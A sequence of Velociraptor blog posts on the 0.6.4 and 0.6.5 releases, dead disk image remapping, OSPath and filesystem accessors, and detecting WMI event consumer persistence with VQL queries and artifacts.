A new MUSL build target

On Linux Go binaries are mostly static but always link to Glibc which is shipped with the Linux distribution. This means that traditionally Velociraptor had problems running on very old Linux machines (previous to Ubuntu 18.04). We used to build a more compatible version on an old Centos VM but this was manual and did not support the latest Go compiler.

In 0.6.5 we added a new build target using MUSL - a light weight Glibc replacement. The produced binary is completely static and should run on a much wider range of Linux versions. This is still considered experimental but should improve the experience on older Linux machines.

Conclusions

Velociraptor 0.6.4 Release

Thu, 21 Apr 2022 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.4. This release has been in the making for a few months now and has a lot of new features.

The main focus of this release is in improving path handling in VQL to allow for more efficient path manipulation. This leads to the ability to analyze dead disk images which depends on accurate path handling.

Path handling

A path is a simple concept - it is a string similar to /bin/ls which can be used to pass to an OS API and have it operate on the file in the filesystem (e.g. read/write it).

However it turns out that paths are much more complex than they first seem. For one thing, paths have an OS dependent separator (usually / or \). Some filesystems support path separators inside a filename too! To read about the details check out Paths And Filesystem Accessors but one of the most interesting thing with the new handling is that stacking filesystem accessors is now possible, for example it is possible to open a docx file inside a zip file inside an ntfs drive inside a partition.

Dead disk analysis

Velociraptor offers top notch forensic analysis capability but it was primarily used as a live response agent. Many users have asked us if Velociraptor can be used on dead disk images. Although we rarely use dead disk images in practice, sometimes we do encounter these (e.g. in cloud investigations).

Previously we could not use Velociraptor easily on dead disk images without having to carefully tailor and modify each artifact. In the 0.6.4 release we now have the ability to emulate a live client from dead disk images. We can use this feature to run the exact same VQL artifacts that we normally do on live systems, but against a dead disk image. If you would like to read more about this new feature check out Dead Disk Forensics.

Resource control

When collecting artifacts from endpoints we need to be mindful of the overall load that collection will cost on endpoints. For performance sensitive servers, our collection can cause operational disruption. For example, running a yara scan over the entire disk would utilize a lot of IO operations and may use a lot of CPU resources. Velociraptor will then compete for these resources with the legitimate server functionality and may cause degraded performance.

Previously, Velociraptor had a setting called Ops Per Second which could be used to run the collection “low and slow” by limiting the rate at which notional “ops” were utilized. In reality this setting was only ever used for Yara scans because it was hard to calculate an appropriate setting: notional ops did not correspond to anything measurable like CPU utilization.

In 0.6.4 we have implemented a feedback based throttler which can control VQL queries to a target average CPU utilization. Since CPU utilization is easy to measure it is a more meaningful control. The throttler actively measures the Velociraptor process’s CPU utilization and when the simple moving average (SMA) rises above the limit, the query is paused until the SMA drops below the limit.

Selecting resource controls for collections

The above screenshot shows the latest resource controls dialog. You can now set a target CPU utilization between 0 and 100%. The image below shows how that looks in the windows task manager

CPU control keeps Velociraptor at 15%

By reducing the allowed CPU utilization, Velociraptor will be slowed down so collections will take longer. You may need to increase the collection timeout to correspond with the extra time it takes.

Note that the CPU limit refers to a percentage of the total CPU resources available on the endpoint. So for example, if the endpoint is a 2 core cloud instance a 50% utilization refers to 1 full core. But on a 32 core server a 50% utilization is allowed to use 16 cores!

Iops limits

On some cloud resources IO operations per second (IOPS) are more important than CPU loading since cloud platforms tend to rate limit IOPS. So if Velociraptor uses many IOPS (e.g. in Yara scanning), it may affect the legitimate workload.

Velociraptor now offers limits on IOPS which may be useful for some scenarios. See for example here and here for a discussion of these limits.

The offline collector resource controls

Many people use the Velociraptor offline collector to collect artifacts from endpoints which they are unable to install a proper client/server architecture on. In previous versions there was no resource control or time limits imposed on the offline collector because it was assumed that it would be used interactively by a user.

However experience shows that many users use automated tools to push the offline collector to the endpoint (e.g. an EDR or another endpoint agent) and therefore it would be useful to provide resource controls and timeouts to control Velociraptor acquisitions. The below screenshot shows the new resource control page in the offline collector wizard.

Configuring offline collector resource controls

GUI Changes

Versions 0.6.4 brings a lot of useful GUI improvements.

Notebook suggestions

Notebooks are an excellent tool for post processing and analyzing the collected results from various artifacts. Most of the time similar post processing queries are used for the same artifacts so it makes sense to allow notebook templates to be defined in the artifact definition. In this release you can define an optional suggestion in the artifact yaml to allow a user to include certain cells when needed.

The following screenshot shows the default suggestion for all hunt notebooks: Hunt Progress. This cell queries all clients in a hunt and shows the ones with errors, running and completed.

Hunt notebooks offer a hunt status cell

Multiple OAuth2 authenticators

Velociraptor has always had SSO support to allow strong 2 factor authentication for access to the GUI. However, previously Velociraptor only supported one OAuth2 provider at a time. Users had to choose between Google, GitHub, Azure or OIDC (e.g. Okta) for the authentication provider.

This limitation is problematic for some organizations who need to share access to the Velociraptor console outside their own organizations (e.g. consultants need to provide read only access to customers).

In 0.6.4 Velociraptor can be configured to support multiple SSO providers at the same time. So an organization can provide access through Okta for their own org at the same time as Azure or Google for their customers.

The Velociraptor login screen supports multiple providers

The Velociraptor knowledge base

Velociraptor is a very powerful tool. It’s flexibility means that it can do things that you might have never realized it can! For a while now we have been thinking about ways to make this knowledge more discoverable and easily available.

Many people ask questions on the Discord channel and learn new capabilities in Velociraptor. We want to try a similar format to help people discover what Velociraptor can do.

The Velociraptor knowledge base is a new area on the documentation site that allows anyone to submit small (1-2 paragraphs) tip about how to do a particular task. Knowledge base tips are phrased as questions to help people search for them. Tips should be short and refer to more detailed documentation - they are just a quick hint.

If you learned something about Velociraptor that you did not know before and would like to share your experience to make the next user’s journey that little bit easier, please contribute a small note to the knowledge base.

Known issues

Updating the VQL path handling in 0.6.4 introduces a new column called OSPath (replacing the old FullPath column) which was not present in previous versions. While we attempt to ensure that older artifacts should continue to work on 0.6.4 clients, it is likely that the new VQL artifacts built into 0.6.4 will not work correctly on older versions.

If you are upgrading the Velociraptor server but still have older clients in the field, it is likely that collecting the built in artifacts will fail due to the new features not being present in older clients.

To make migration easier, 0.6.4 comes built in with the Server.Import.PreviousReleases artifact. This server artifact will load all the artifacts from a previous release into the server. You can use those older versions with older clients.

Importing previous versions of core artifacts

Conclusions

Dead disk Forensics

Sun, 20 Mar 2022 00:00:00 +0000

Velociraptor’s killer feature is its VQL language making it possible to write powerful queries that triage and extract valuable forensic evidence from the running system. One of the most attractive features is the ability to write VQL artifacts encapsulating powerful VQL queries. Users have access to a library of packaged artifacts that come with Velociraptor as well as a vibrant community and an Artifact Exchange.

Previously Velociraptor was most useful as a live analysis platform. Either deployed as an agent on the live endpoint, or via the Offline Collector collecting artifacts from the running system. However, many users are sometimes faced with analyzing a dead disk image - for example, when handed a clone of a cloud VM disk after a compromise.

It would be really nice to be able to leverage the same VQL artifacts developed and shared by the community in a disk image or VM clone without having to start the VM and install Velociraptor on it.

Dead disk analysis

When we want to analyze a disk image we mean that:

A VQL query that looks at a disk (e.g. via the glob() plugin), should look inside the disk image instead of the real disk of the analysis machine.
A VQL query that looks at system state (e.g. process listing) should fail - otherwise we will accidentally mix results from the analysis machine and the machine the image came from.

Consider the following scenario: I have a dead disk image (In a vmdk format) of a server on my analysis machine, and I want to run Velociraptor to triage this image.

The following query retrieves all event logs from a windows system:

SELECT OSPath
FROM glob(globs="C:/Windows/System32/WinEVT/Logs/*.evtx")

When I run this query, I want the results to come from the image and not from my analysis machine!

Of course I can always mount my dead image on a different drive (if my analysis machine is Windows) or a different directory (if my analysis machine is Linux). Then I can change the query accordingly to search for the event log files in the new location. But this is tedious and error prone - I have to carefully change all artifacts to point to the new drive, and if there are references in the dead image to a C: drive the artifact will look for files in the C: drive again.

What I really want is to remap the C: drive to the dead image - so whenever Velociraptor attempts to access a path beginning with C: drive, the data will come from the image! This way I can use all the artifacts as they are without modification, thereby leveraging all my existing favorite artifacts.

Remapping accessors

Velociraptor accesses files using filesystem accessors. You can think of an accessor as simply a driver that provides access to a file or directory.

There are a number of types of accessors available, in the following discussion the following accessors are important:

The auto accessor is the default accessor used when an accessor is not explicitly specified. The query SELECT * FROM glob(globs='/*') will use the auto accessor since an explicit accessor parameter is not provided.

On Windows the auto accessor attempts to open files using the OS API and failing this, reverts to NTFS parsing (for locked files). This is the most commonly used accessor.
The file accessor uses the operating system APIs to open files and directories. It is used internally by the auto accessor but you can also use it explicitly.
The ntfs accessor is used to access files using the built in NTFS parser.

Velociraptor currently supports the following 4 disk image formats via built-in accessors:

EWF: Expert Witness Compression Format, sometimes called “E01 images”
VMDK: virtual hard drive format introduced by VMware
VHDX: virtual hard drive format introduced by Microsoft
raw format: bit-by-bit copy of a hard drive, also know as “DD” or “flat” format

The deaddisk command described below recognizes the first three formats based on file extension and Velociraptor is able to read these formats natively without any additional steps. If the target image file has any other extension then the deaddisk command will treat it as raw format.

If you have any other image format then the recommended course of action is to “cross-mount” the image to raw format. There are several tools which can do this, for example xmount. Alternatively you can convert the image to one of the natively-supported formats, and many tools exist which can do that. The downside of converting formats is that it requires a lot of disk space and can take a long time, therefore cross-mounting is preferable because it “translates” one format to another without conversion.

Most virtual machine platforms can usually export to several formats. In particular note that VMware can export for raw format (also called “flat”) but retains the .vmdk file extension. In that case you would need to remove the file extension so that Velociraptor’s deaddisk command will treat it as a raw image instead of VMDK format.

Remapping configuration

Velociraptor normally interrogates the live machine it is running on. However in this case we want to emulate the system under investigation so that when Velociraptor attempts to access the system it is really parsing the dead disk image. This process of emulation is called remapping and it is controlled via remapping rules in the configuration file.

Although I can write these rules by hand, Velociraptor offers a quick tool that automates a lot of the remapping rule generation. Simply point velociraptor at the image file using the --add_windows_disk flag, and it will produce a new remapping yaml config:

$ velociraptor-linux-amd64 -v deaddisk --add_windows_disk /mnt/flat /tmp/remapping.yaml
velociraptor: Enumerating partitions using Windows.Forensics.PartitionTable
velociraptor: Searching for a Windows directory at the top level
velociraptor: Adding windows partition at offset 122683392
velociraptor: Searching for a Windows directory at the top level

Velociraptor will enumerate the partitions in the disk image and attempt to mount each as an NTFS partition. It will then look for a /Windows directory at the top level to indicate a system drive and map it to the C: drive.

You can see the full generated configuration file here but in the next few sections we will examine some remapping rules in detail.

The “mount” remapping rules

Let’s take a closer look at the following rule of type mount

- type: mount
  description: 'Mount the partition /mnt/flat (offset 122683392) on the C:
    drive (NTFS)'
  from:
    accessor: raw_ntfs
    prefix: |
      {
        "DelegateAccessor": "offset",
        "Delegate": {
          "DelegateAccessor": "file",
          "DelegatePath": "/mnt/flat",
          "Path":"122683392"
        },
        "Path": "/"
      }
  "on":
    accessor: ntfs
    prefix: '\\.\C:'
    path_type: ntfs

A mount rule tells Velociraptor to map all paths below a certain directory to a delegate accessor. When a VQL query attempts to open a file using the ntfs accessor, below the \\.\C: directory, Velociraptor will automatically map the request to raw_ntfs accessor with the above prefix.

For example, consider the request to list the \\.\C:\Windows directory. Since this directory is below the mount point of \\.\C:, Velociraptor will append the remainder (the Windows directory) to the mount point’s from prefix and use the raw_ntfs accessor to list the result.

So the following pathspec will be opened instead:

      {
        "DelegateAccessor": "offset",
        "Delegate": {
          "DelegateAccessor": "file",
          "DelegatePath": "/mnt/flat",
          "Path":"122683392"
        },
        "Path": "/Windows"
      }

The prefix is an OSPath object in the form of a complete pathspec object describing how the raw_ntfs accessor is to access files:

The raw_ntfs accessor will first open it’s delegate container and then parse out the /Windows path within it.
The delegate is the offset accessor - an accessor that maps an offset from it’s own delegate (in order to extract the partition on which the filesystem is written).
The offset accessor in turn uses the file accessor to open the /mnt/flat image file. In this case the offset is 122683392 bytes into the image.

This remapping happens transparently - whenever Velociraptor accesses the ntfs accessor the data will be automatically taken from the remapped mount point.

Let’s see how this works in practice. I will start the GUI using:

$ velociraptor-v0.6.4-linux-amd64 --remap /tmp/remapping.yaml gui -v

This simply starts the Velociraptor server and a single client talking to it. However, due to the --remap flag, the remapping configuration will be applied to both client and server configurations.

Now when I interact with the client’s VFS view due to the remapping the result comes from the vmdk image.

Browsing the VFS with the remapped ntfs accessor

Remapping the registry hives

The above default remapping rules also include the following rule

- type: mount
  description: Map the /Windows/System32/Config/SOFTWARE Registry hive on HKEY_LOCAL_MACHINE\Software
  from:
    accessor: raw_reg
    prefix: |-
      {
        "Path": "/",
        "DelegateAccessor": "raw_ntfs",
        "Delegate": {
          "DelegateAccessor":"offset",
          "Delegate": {
            "DelegateAccessor": "file",
            "DelegatePath": "/mnt/flat",
            "Path": "122683392"
          },
          "Path":"/Windows/System32/Config/SOFTWARE"
        }
      }
    path_type: registry
  "on":
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\Software
    path_type: registry

This rule mounts the registry accessor’s HKEY_LOCAL_MACHINE\Software path on the /Windows/System32/Config/SOFTWARE file found within the raw NTFS partition. Note how pathspec descriptors nest and can utilize multiple different accessors to achieve the final mount point (in this case, the file accessor, followed by offset followed by raw_ntfs followed by raw_registry)..

Browsing the VFS with registry accessors

Normally, when interacting with a live Velociraptor client, the registry accessor refers to registry keys and values accessed through the OS API. However now we were able to mount a raw registry parser on top of the registry accessor.

By remapping the traditional accessors with emulated content, we are effectively allowing the same VQL queries to apply to very different scenarios without change. For example, an artifact that queries the registry using the API will now automatically query the raw registry parser which accesses the hive file as recovered from parsing the ntfs filesystem on a dead disk image.

We can apply the same artifacts to the dead disk image without any modification!

Remapping CurrentControlSet

In Windows there are virtual parts of the registry that get remounted at runtime. One such part is the HKEY_LOCAL_MACHINE\Software\CurrentControlSet key which is mounted from HKEY_LOCAL_MACHINE\Software\ControlSet001. Velociraptor can recreate this mapping using the following remapping rule:

- type: mount
  description: Map the /Windows/System32/Config/SYSTEM Registry hive on HKEY_LOCAL_MACHINE\System\CurrentControlSet
    (Prefixed at /ControlSet001)
  from:
    accessor: raw_reg
    prefix: |-
      {
        "Path": "/ControlSet001",
        "DelegateAccessor": "raw_ntfs",
        "Delegate": {
          "DelegateAccessor":"offset",
          "Delegate": {
            "DelegateAccessor": "file",
            "DelegatePath": "/mnt/flat",
            "Path": "122683392"
          },
          "Path":"/Windows/System32/Config/SYSTEM"
        }
      }
    path_type: registry
  "on":
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\System\CurrentControlSet
    path_type: registry

This is very important for queries that read sub-keys of CurrentControlSet.

Impersonating an operating system

We discussed how accessors can be remapped using the remapping rules in order to make VQL plugins that access files emulate running on the target system. However, many artifacts need to examine more than just the filesystem. For example, most artifacts have a precondition such as SELECT * FROM info() WHERE OS =~ "Windows". If we were to run on a Linux system these artifacts will not work since they are intended to work on windows - despite the remapping rules emulating a Windows system.

We therefore need to impersonate a windows system - even when we are really running on a Linux machine. The impersonation rule looks like:

- type: impersonation
  os: windows
  hostname: VirtualHostname
  env:
  - key: SystemRoot
    value: C:\Windows
  - key: WinDir
    value: C:\Windows
  disabled_functions:
  - amsi
  - lookupSID
  - token
  disabled_plugins:
  - users
  - certificates
  - handles
  - pslist

This rule has a number of functions

The OS type is set to Windows- This affects the output from SELECT * FROM info() - this query controls most of the artifact preconditions.
A specific hostname is set to “VirtualHostname”. When the client interrogates, this hostname will appear in the Velociraptor GUI.
We specify a number of environment variables. This affects the expand() function which expands paths using environment variables. Many artifacts use environment variables to locate files within the filesystem.
Disabled functions and plugins: Many artifacts use plugins and functions that query non-disk system state in order to enrich the collected data. I.e. their output does not depend just on the disk. Using this impersonation rule we can disable those plugins and functions (essentially return nothing from them) so the query can complete successfully.

Impersonation aims to make it appear that the VQL artifacts are being collected from the target system as if it were running live.

Here is an example of collecting some common Windows artifacts from my flat image above - running on a Linux analysis machine. We can see some of our favorite artifacts, such as Windows.Forensics.Usn, Windows.Timeline.Prefetch, Windows.Forensics.Bam and many more.

Collecting some common artifacts

Analysis of non windows disk images

In the previous example, we exported the vmdk image as a flat file and simply relied on Velociraptor to parse the filesystem using its inbuilt NTFS parser.

For other operating systems, Velociraptor does not currently have a native parser (for example for Linux or MacOS). Instead, Velociraptor relies on another tool mounting the image filesystem as a directory.

We can still perform the analysis as before however, by remapping the mounted directory instead of a raw image.

To demonstrate this process I will mount the flat image using the Linux loopback driver and the built in Linux NTFS filesystem support.

$ sudo mount -o loop,offset=122683392 /mnt/flat /tmp/mnt/

I can now generate a second remapping configuration:

$ ./velociraptor-v0.6.4-linux-amd64 deaddisk --add_windows_directory /tmp/mnt/ /tmp/remapping2.yaml
velociraptor: Adding windows mounted directory at /tmp/mnt/
velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SOFTWARE
velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SYSTEM
velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SYSTEM

Velociraptor will inspect the directory and determine it is a Windows image, then attempt to map the raw registry hives at the correct place as before. The C: drive remapping rule is:

- type: mount
  description: 'Mount the directory /tmp/mnt/ on the C: drive (NTFS)'
  from:
    accessor: file
    prefix: /tmp/mnt/
  "on":
    accessor: file
    prefix: 'C:'
    path_type: windows

Conclusions

Velociraptor is an extremely capable triage and analysis tool which works best when running live on the endpoint - where it can correlate information from disk, memory and volatile system state. Velociraptor has a vibrant community with powerful user contributed artifacts designed for use in this context.

However, sometimes we do not have the luxury of running directly on the running endpoint, but have to rely instead on dead disk images of the target system. The latest Velociraptor release makes it possible to impersonate a live system based on information from the dead disk. While this is not perfect (because a lot of the enrichment information obtained from the live system is missing) for basic disk focused forensic analysis, we are able to use most artifacts directly without change.

This feature opens Velociraptor to more traditional image based forensic analysis use cases - these users are now able to leverage the same artifacts we all use in live triage to quickly triage dead disk images.

Since this is such a new feature it is still considered experimental - we value your feedback, bug reports and discussions. If you would like to try out these features in Velociraptor, It is available on GitHub under an open source license. As always, please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com. You can also chat with us directly on discord at https://www.velocidex.com/discord.

Paths and filesystem accessors

Sun, 20 Mar 2022 00:00:00 +0000

This article discusses a feature available since 0.6.4 release.

Path handling is fundamental to forensic analysis, as a large amount of relevant information is still kept on disk within a filesystem. Superficially, We are all familiar with how paths work - a path is typically a string that we can provide to some OS API (for example the Windows CreateFile() or Linux open() API) which facilitates interacting with a file or a directory on the filesystem.

Unfortunately, the structure of this string is often not well defined or consistent between operating systems! For example, on windows a path has the following characteristics:

The path starts with a “drive letter” of the form C: or D:
Path directories are separated by a backslash \
There is no leading path separator (C:\ does not start with \).
Directory names may not contain forward slashes, backslashes or wildcards.
Filenames are generally case insensitive.

For example C:\Windows\System32\Notepad.exe

On Linux things are a bit different:

Paths begin with the slash character (the root of the filesystem)
Path directories are separated by forward slash
Directory names may contain backslashes but these are not path separators! Filename may contain pretty much any character (except null and forward slash).

For example, a path looks like /usr/bin/ls. However, since Linux can have backslashes with filenames, the path /C:\Windows/System32 can actually refer to a single directory named C:\Windows!

It gets even more complicated on windows, where a device name may appear as the first element of the path where it refers to a physical device for example \\.\C:\Windows means the Windows directory inside the filesystem on the device \\.C: - Yes the device can contain backslashes which are also path separators except when they refer to a device.

A registry path has other rules:

It starts with the hive name, e.g. HKEY_LOCAL_MACHINE or HKLM
Components are separated by backslashes
While key names are analogous to directories, registry keys are allowed to have forward slash characters.
While Value name are analogous to files, value name may also have backslashes!

For example the following registry path is valid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\ Windows Presentation Foundation\Namespaces\http://schemas.microsoft.com/netfx/2009/xaml/presentation (with the last registry key being a URL) even though the registry key contains forward slashes it is just one key component!

With all these confusing rules we need to develop an abstraction that allows Velociraptor to handle all these cases correctly.

The OSPath abstraction

Recent Velociraptor releases, introduced the OSPath abstraction to handle various paths:

Internally paths are always a list of components. For example, the windows path C:\Windows\System32 is represented internally as the list of components ["C:", "Windows", "System32"]
A Filesystem is treated as a tree, and the path is simply the list of components connecting each level in the tree.
An OSPath implements specific serialization and deserialization methods: When we need to pass an OSPath object to the OS API we need to serialize the abstract OSPath in a way that is appropriate to the OS. Otherwise we prefer to retain the OSPath as an abstract path as much as possible.
Each OSPath has a specific flavor - controlling for the way it is serialized to and from a string.

For example, an OSPath with the following components ["C:", "Windows", "System32"] will serialize to string:

A Windows OSPath will serialize to C:\Windows\System32
A Linux OSPath will serialize to /C:/Windows/System32
A Windows NTFS aware OSPath will serialize to \\.\C:\Windows\System32 (i.e. device notation appropriate to the NTFS raw accessor).

The glob() plugin

One of the most commonly used plugins in Velociraptor is the glob() plugin. This plugin allows searching of filesystems using a glob expression (containing wildcards).

Consider the following query running on windows

SELECT OSPath
FROM glob(globs="C:\\Windows\\*")

The glob() plugin applies the glob expression on the filesystem and returns a single row for each matching file. Since release 0.6.4, the raw OSPath object is also available within VQL. While it may appear that it is a simple string when serialized to JSON, it is in fact an object with many convenient methods.

The OSPath object

The OSPath object has some convenient properties:

The Components field contains the list of path components in the path. You can index the component to identify a specific directory or filename. (negative indexes are counted from the end of the component array).
The Basename property is a shorthand to the last component (equivalent to OSPath.Components[-1])
The Dirname property is an OSPath representing the directory containing the OSPath.
Path manipulation is very easy to do, since OSPath is overloading the addition operator. The expression OSPath.Dirname + "explorer.exe" produces another OSPath obtained by appending the explorer.exe component to the directory of the current OSPath.

Filesystem accessors and OSPath

Velociraptor accesses filesystems by way of an accessor. You can think of an accessor as a specific driver that VQL can use to open a path. All VQL plugins or functions that accept files will also accept an accessor to use to open the file.

Consider the following VQL query:

SELECT read_file(path="C:/Windows/notepad.exe", accessor="file")
FROM scope()

The read_file() VQL function reads raw data from the specified file. It will call onto the “file” accessor and pass the provided path to it as an opaque string.

The file accessor is used to open files using the OS APIs. Therefore, it will interpret the path string according to the OS convention it is running on (i.e. on Windows it will create a Windows flavor of OSPath). However, were we to use another accessor, the string path will be interpreted differently by the accessor.

The most important takeaway from this is that when an accessor receives a string path, it will parse it into an OSPath internally according to its own rules.

When an accessor receives an already parsed OSPath object, it may directly use it (since no parsing is required). Therefore in general, once an OSPath object is produced in the query, the same OSPath object should be passed around to other plugins/vql functions.

SELECT read_file(filename=OSPath, accessor="file", length=5)
FROM glob(globs="C:\\Windows\\notepad.exe")

Nested accessors and pathspecs

Many VQL accessors require additional information to be able to work. For example consider the zip accessor. This accessor is used to read zip archive members as if they were simple files. In order to open an archive member we need several pieces of information:

The path to the zip file itself.
An accessor to use to open the zip file container.
The path to the zip member inside the container to open.

The zip accessor therefore requires a more complex OSPath object containing additional information about the Delegate (i.e. the path and accessor that the zip accessor will delegate the actual reading to). We call this more complex path specification a pathspec as it specifies more precisely what the accessor should do. In a VQL query we may build a pathspec from scratch using the pathspec function.

SELECT read_file(
  filename=pathspec(DelegateAccessor="file",
                    DelegatePath="F:/hello.zip",
                    Path="/hello.txt"),
  accessor="zip", length=5)
FROM scope()

In the above example I am calling the read_file() VQL function, and building an OSPath object directly using the pathspec() VQL function.

The zip accessor receives the new OSPath object and

Will open the zip container itself using the Delegate: i.e. the “file” accessor, with a path of “F:/hello.zip”.
After parsing the zip file, the zip accessor will open the member within it specified by the Path field. For zip files, the path is interpreted as a forward slash separated unix like path (according to the zip specification). In this case the zip accessor will open a member called hello.txt.

Nesting OSPath objects.

We can combine the previous two queries to search zip files

SELECT OSPath,
   read_file(filename=OSPath, accessor="zip", length=5)
FROM glob(
  globs="/*.txt",
  root=pathspec(DelegateAccessor="file", DelegatePath="F:/hello.zip", Path="/"),
  accessor="zip")

This time we provide the glob() plugin the root (where searching will begin) as a full OSPath object that we construct to represent the top level of the zip archive (i.e. globing will proceed within the zip file).

We can transparently now pass the OSPath object that glob will return directly into any VQL function or plugin that accepts a file (e.g. read_file())

Handling nested OSPath objects

The OSPath object is now capable of more complex path manipulations:

The OSPath.Dirname property represents the fully qualified OSPath used to represent the container directory - we can simply pass it directly to any plugins that deal with directories.
Note that more complex Pathspec based paths are represented as a JSON encoded object. It is ok to pass the stringified version the OSPath around to plugins because they will automatically parse the string into an OSPath object.

In previous versions of Velociraptor it was possible to pass a pathspec to the glob parameter (e.g. to glob within a zip file) however since 0.6.4 this is not allowed. Glob expressions are always flat strings (i.e. a glob is not a pathspec). A pathspec is allowed to be passed to the root parameter to indicate where searching should start from.

Compatibility with previous releases

Previously the glob() plugin would emit the FullPath column as a string representing the serialized version of each file. This string was passed to other plugins/vql functions which parsed it again. This lead to a lot of unnecessary path serialization and parsing, but more importantly it was difficult to maintain the correct “flavor” of the path throughout the query and required a lot of complex path manipulations to extract specific parts of the path.

It should be more efficient to pass the raw OSPath object everywhere the old FullPath was used. However 0.6.4 onward still provide the FullPath column for backwards compatibility. The overall effect is that artifacts originally written for older versions of VQL should continue to work on 0.6.4. However newer artifacts written for 0.6.4 will not run on older clients.

Previously nested paths were encoded with URLs, but this is now deprecated and future VQL queries should not use URLs to encode nested paths.

Many people upgrade their Velociraptor server more frequently than their clients. Usually, newer versions of Velociraptor maintains reasonable backwards compatibility with older clients so most things continue to work. However in 0.6.4, the introduction of the OSPath column means that newer artifacts will fail on older clients (since VQL is evaluated on the client). See our Support Policy

To help with the migration process, we made the older versions of artifacts easily available in newer servers. If you still have older clients deployed, you should import older VQL artifacts into 0.6.4 server using the Server.Import.PreviousReleases server artifact. This will import the old artifacts under a name reflecting their version so they may be collected from older clients.

Conclusions

Path representation is surprisingly much more complex that it first appears. While paths are strings, internally Velociraptor treats them as a sequence of components with different flavors controlling how they are serialized and represented. This affords the VQL query a more powerful way to manipulate paths and build new paths based on them.

For more complex accessors, paths are represented as a JSON serialized pathspec object, describing a delegate container path as well. Using the OSPath object methods does the right thing even for more complex path and makes it a lot easier to manipulate (for example OSPath.Dirname is a valid and correct OSPath for the containing directory, even for more complex pathspec based paths)

WMI Event Consumers: what are you missing?

Wed, 12 Jan 2022 00:00:00 +0000

WMI Eventing is a fairly well known technique in DFIR, however some tools may not provide the coverage you expect. This article covers WMI eventing visibility and detection including custom namespaces.

Selection bias in WWII: missing what is not collected.

Background

There has been a fair bit of research and observations of WMI eventing in field over the last years. In short, a WMI event consumer is a method of subscribing to certain system events, then enabling an action of some sort. Common adversary use cases may include persistence, privilege escalation, or as a collection trigger. Represented as ATT&CK T1546.003 this technique has been observed in use from APT, through to trash-tic worm and coin miner threats.

WMI Eventing: 3 system classes

There are three system classes in every active event consumer:

__EventFilter is a WQL query that outlines the trigger event of interest.
__EventConsumer is an action to perform upon triggering an event.
__FilterToConsumerBinding is the registration mechanism that binds a filter to a consumer.

Most detection will focus on collecting the WMI classes in root/subscription and, in some tools root/default WMI namespaces.

Autoruns 14.07: detects root/default and root/subscription namespace WMI event consumers

Custom Namespaces

At Blackhat 2018 Lee Christensen and Matt Graeber presented “Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology”. This excellent talk focused on defense evasion methodology and highlighted potential collection gaps in telemetry tools around WMI eventing. In this case, the focus was on Sysmon behaviour of collection only in root/subscription, interestingly, it also highlighted the possibility to implement __EventConsumer classes in arbitrary namespaces.

It is detection of WMI Event Consumers in arbitrary namespaces that I’m going to focus. For anyone interested in testing I have written a script to generate WMI event consumers. This script wraps several powershell functions released during the Black Hat talk to test creating working event consumers.

First step was to create a custom namespace event consumer. In this instance I selected the namespace name totallylegit and attached an ActiveScript event consumer.

WMIEventingNoismaker.ps1:Generate active script EventConsumer

Collection

Velociraptor has several valuable artifacts for hunting WMI Event Consumers:

Windows.Sysinternals.Autoruns - leverages a thirdparty deployment of Sysinternals Autoruns and typically my go to ASEP collection artifact but limited by visibility in root/default and root/subscription only.
Windows.Persistence.PermanentWMIEvents - recently upgraded to query all ROOT namespaces.

This artifact reports currently deployed permanent WMI Event Consumers.
The artifact collects Binding information, then presents associated Filters and Consumers.
Target a specific namespace, or tick AllRootNamespaces to collect all root namespace event consumers.

Windows.Persistence.PermanentWMIEvents: configuration options

Windows.Persistence.PermanentWMIEvents: results

Telemetry

Unfortunately prior to Windows 10 WMI logging was fairly limited. Sysmon and other telemetry sources often rely on WMI eventing itself to collect WMI eventing telemetry events. That means custom classes require namespace and class existence prior to telemetry subscription. Sysmon as seen below also does not have coverage for root/default namespace.

Sysmon collection: Event ID 20 mapping (__EventConsumer)

The good news is since Windows 10, WMI logging has improved significantly and we can now query the event log: Microsoft-Windows-WMI-Activity or subscribe the underlying ETW provider of the same name. In the VQL below I filter the ETW event on event consumer creation or delete operations.

SELECT
    System.TimeStamp AS EventTime,
    System.ID as EventId,
    strip(prefix='\\\\\.\\',string=EventData.NamespaceName) as NamespaceName,
    EventData.Operation as Operation,
    GetProcessInfo(TargetPid=int(int=EventData.ClientProcessId))[0] as Process
FROM watch_etw(guid="{1418ef04-b0b4-4623-bf7e-d74ab47bbdaa}")
WHERE EventId = 11
    AND Operation =~ 'WbemServices::(PutInstance|DeleteInstance|PutClass|DeleteClass)'
    AND Operation =~ 'EventConsumer|EventFilter|FilterToConsumerBinding'

I have included a completed artifact in the artifact exchange: Windows.ETW.WMIEventing. That artifact includes process enrichment, targeting both creation and deletion of EventConsumers.

Custom namespace provider registration and process enrichment

Windows.ETW.WMIEventing: all operations event consumer creation and removal

Event Log

Similar filters can be used with Windows.EventLogs.EvtxHunter for detection. Its worthy to note, event logs hold less verbose logging for the registration than ETW but this use case is helpful when coming late to the party during an investigation.

Windows.EventLogs.EvtxHunter: hunt for event consumer string

Windows.EventLogs.EvtxHunter: detect event consumer class creation

Conclusions

During this post, we have shown three techniques for detecting WMI event consumers that are worth considering. We can collect these data-points over an entire network in minutes using Velociraptor’s “hunt” capability. Similarly Velociraptor notebook workflow assists excluding known good entries quickly as part of analysis.

The Velociraptor platform aims to provide visibility and access to endpoint data. If you would like to try Velociraptor it is available on GitHub under an open source license. As always, please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com. You can also chat with us directly on discord at https://www.velocidex.com/discord

References

Searching for files

Wed, 05 Jan 2022 00:00:00 +0000

This article discusses new features appearing in Velociraptor’s 0.6.3 release. Earlier releases may not have the same features.

Many DFIR tasks involve simply searching the filesystem for certain files. In Velociraptor this capability is available through the glob() plugin, that uses a glob expressions (containing wild cards) to search the filesystem. Additional VQL plugins can be used to further filter and process the results.

This capability is also available in many other tools, for example, the find native Linux command allows searching the filesystem, and most programming languages have similar features. For example in Python the os.walk method, or in Golang the filepath.Walk method. The following discussion applies equally to all methods and is also relevant for single use scripts.

The Log4j vulnerability

